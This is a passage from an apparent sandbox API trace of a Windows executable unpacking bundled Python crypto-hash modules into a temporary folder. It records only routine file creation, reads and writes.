lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0034.513] GetFileType (hFile=0x10c) returned 0x1 [0034.513] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0034.513] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0034.513] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0034.513] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0034.513] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0034.513] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0034.513] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0034.513] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0034.513] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0034.513] CloseHandle (hObject=0x10c) returned 1 [0034.514] GetLastError () returned 0x0 [0034.514] SetLastError (dwErrCode=0x0) [0034.514] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Hash\\_RIPEMD160.pyd") returned 72 [0034.514] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Hash\\_RIPEMD160.pyd" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\crypto\\hash\\_ripemd160.pyd"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0034.514] GetLastError () returned 0x2 [0034.514] SetLastError (dwErrCode=0x2) [0034.514] GetLastError () returned 0x2 [0034.514] SetLastError (dwErrCode=0x2) [0034.514] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Hash\\_RIPEMD160.pyd", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Hash\\_RIPEMD160.pyd", lpFilePart=0x0) returned 0x47 [0034.514] GetLastError () returned 0x2 [0034.514] SetLastError (dwErrCode=0x2) [0034.514] GetLastError () returned 0x2 [0034.514] SetLastError (dwErrCode=0x2) [0034.514] GetLastError () returned 0x2 [0034.514] SetLastError (dwErrCode=0x2) [0034.514] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Hash\\_RIPEMD160.pyd") returned 72 [0034.514] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0034.514] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Hash\\_RIPEMD160.pyd" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\crypto\\hash\\_ripemd160.pyd"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0034.516] GetFileType (hFile=0x10c) returned 0x1 [0034.516] htonl (hostlong=0x2c0000) returned 0x2c00 [0034.516] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd00*=0x2000, lpOverlapped=0x0) returned 1 [0034.517] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0034.517] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0xc00, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0xc00, lpOverlapped=0x0) returned 1 [0034.517] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0034.517] CloseHandle (hObject=0x10c) returned 1 [0034.519] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0034.519] htonl (hostlong=0x30000000) returned 0x30 [0034.519] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0034.519] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0034.519] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0034.519] GetFileType (hFile=0x10c) returned 0x1 [0034.519] htonl (hostlong=0xf2570200) returned 0x257f2 [0034.519] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x707f2, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0034.519] htonl (hostlong=0x95190000) returned 0x1995 [0034.519] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1995) returned 0x55d270 [0034.520] htonl (hostlong=0x95190000) returned 0x1995 [0034.520] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fcd58, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fcd58*=0x1000, lpOverlapped=0x0) returned 1 [0034.520] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0034.520] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0034.520] htonl (hostlong=0x340000) returned 0x3400 [0034.520] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x3400) returned 0x561090 [0034.520] htonl (hostlong=0x95190000) returned 0x1995 [0034.520] htonl (hostlong=0x340000) returned 0x3400 [0034.520] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x564498 [0034.520] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x564498 | out: hHeap=0x530000) returned 1 [0034.521] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0034.521] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0034.521] CloseHandle (hObject=0x10c) returned 1 [0034.521] GetLastError () returned 0x0 [0034.521] SetLastError (dwErrCode=0x0) [0034.521] GetLastError () returned 0x0 [0034.521] SetLastError (dwErrCode=0x0) [0034.521] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto") returned 52 [0034.521] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\crypto"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0034.521] GetFileType (hFile=0x10c) returned 0x1 [0034.521] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0034.521] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0034.521] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0034.521] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0034.521] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0034.521] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0034.521] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0034.521] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0034.521] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0034.521] CloseHandle (hObject=0x10c) returned 1 [0034.521] GetLastError () returned 0x0 [0034.521] SetLastError (dwErrCode=0x0) [0034.521] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Hash") returned 57 [0034.522] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Hash" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\crypto\\hash"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0034.522] GetFileType (hFile=0x10c) returned 0x1 [0034.522] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0034.522] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0034.522] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0034.522] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0034.522] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0034.522] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0034.522] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0034.522] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0034.522] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0034.522] CloseHandle (hObject=0x10c) returned 1 [0034.522] GetLastError () returned 0x0 [0034.522] SetLastError (dwErrCode=0x0) [0034.522] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Hash\\_SHA1.pyd") returned 67 [0034.522] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Hash\\_SHA1.pyd" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\crypto\\hash\\_sha1.pyd"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0034.522] GetLastError () returned 0x2 [0034.522] SetLastError (dwErrCode=0x2) [0034.522] GetLastError () returned 0x2 [0034.522] SetLastError (dwErrCode=0x2) [0034.522] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Hash\\_SHA1.pyd", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Hash\\_SHA1.pyd", lpFilePart=0x0) returned 0x42 [0034.522] GetLastError () returned 0x2 [0034.522] SetLastError (dwErrCode=0x2) [0034.522] GetLastError () returned 0x2 [0034.523] SetLastError (dwErrCode=0x2) [0034.523] GetLastError () returned 0x2 [0034.523] SetLastError (dwErrCode=0x2) [0034.523] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Hash\\_SHA1.pyd") returned 67 [0034.523] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0034.523] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Hash\\_SHA1.pyd" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\crypto\\hash\\_sha1.pyd"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0034.523] GetFileType (hFile=0x10c) returned 0x1 [0034.523] htonl (hostlong=0x340000) returned 0x3400 [0034.523] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0x3000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd00*=0x3000, lpOverlapped=0x0) returned 1 [0034.525] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0034.525] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0x400, lpOverlapped=0x0) returned 1 [0034.525] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0034.525] CloseHandle (hObject=0x10c) returned 1 [0034.526] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0034.527] htonl (hostlong=0x30000000) returned 0x30 [0034.527] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0034.527] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0034.527] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0034.527] GetFileType (hFile=0x10c) returned 0x1 [0034.527] htonl (hostlong=0x87710200) returned 0x27187 [0034.527] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x72187, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0034.527] htonl (hostlong=0x161c0000) returned 0x1c16 [0034.527] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1c16) returned 0x55d270 [0034.527] htonl (hostlong=0x161c0000) returned 0x1c16 [0034.527] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fcd58, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fcd58*=0x1000, lpOverlapped=0x0) returned 1 [0034.527] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0034.528] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0034.528] htonl (hostlong=0x3a0000) returned 0x3a00 [0034.528] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x3a00) returned 0x561090 [0034.528] htonl (hostlong=0x161c0000) returned 0x1c16 [0034.528] htonl (hostlong=0x3a0000) returned 0x3a00 [0034.528] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x564a98 [0034.528] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x564a98 | out: hHeap=0x530000) returned 1 [0034.528] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0034.528] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0034.528] CloseHandle (hObject=0x10c) returned 1 [0034.529] GetLastError () returned 0x0 [0034.529] SetLastError (dwErrCode=0x0) [0034.529] GetLastError () returned 0x0 [0034.529] SetLastError (dwErrCode=0x0) [0034.529] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto") returned 52 [0034.529] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\crypto"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0034.529] GetFileType (hFile=0x10c) returned 0x1 [0034.529] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0034.529] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0034.529] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0034.529] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0034.529] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0034.529] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0034.529] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0034.529] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0034.529] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0034.529] CloseHandle (hObject=0x10c) returned 1 [0034.529] GetLastError () returned 0x0 [0034.529] SetLastError (dwErrCode=0x0) [0034.529] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Hash") returned 57 [0034.529] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Hash" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\crypto\\hash"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0034.529] GetFileType (hFile=0x10c) returned 0x1 [0034.529] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0034.530] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0034.530] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0034.530] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0034.530] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0034.530] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0034.530] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0034.530] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0034.530] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0034.530] CloseHandle (hObject=0x10c) returned 1 [0034.530] GetLastError () returned 0x0 [0034.530] SetLastError (dwErrCode=0x0) [0034.530] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Hash\\_SHA224.pyd") returned 69 [0034.530] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Hash\\_SHA224.pyd" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\crypto\\hash\\_sha224.pyd"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0034.530] GetLastError () returned 0x2 [0034.530] SetLastError (dwErrCode=0x2) [0034.530] GetLastError () returned 0x2 [0034.530] SetLastError (dwErrCode=0x2) [0034.530] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Hash\\_SHA224.pyd", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Hash\\_SHA224.pyd", lpFilePart=0x0) returned 0x44 [0034.530] GetLastError () returned 0x2 [0034.530] SetLastError (dwErrCode=0x2) [0034.530] GetLastError () returned 0x2 [0034.530] SetLastError (dwErrCode=0x2) [0034.530] GetLastError () returned 0x2 [0034.530] SetLastError (dwErrCode=0x2) [0034.530] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Hash\\_SHA224.pyd") returned 69 [0034.531] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0034.531] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Hash\\_SHA224.pyd" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\crypto\\hash\\_sha224.pyd"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0034.531] GetFileType (hFile=0x10c) returned 0x1 [0034.531] htonl (hostlong=0x3a0000) returned 0x3a00 [0034.531] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0x3000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd00*=0x3000, lpOverlapped=0x0) returned 1 [0034.532] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0034.532] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0xa00, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0xa00, lpOverlapped=0x0) returned 1 [0034.532] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0034.532] CloseHandle 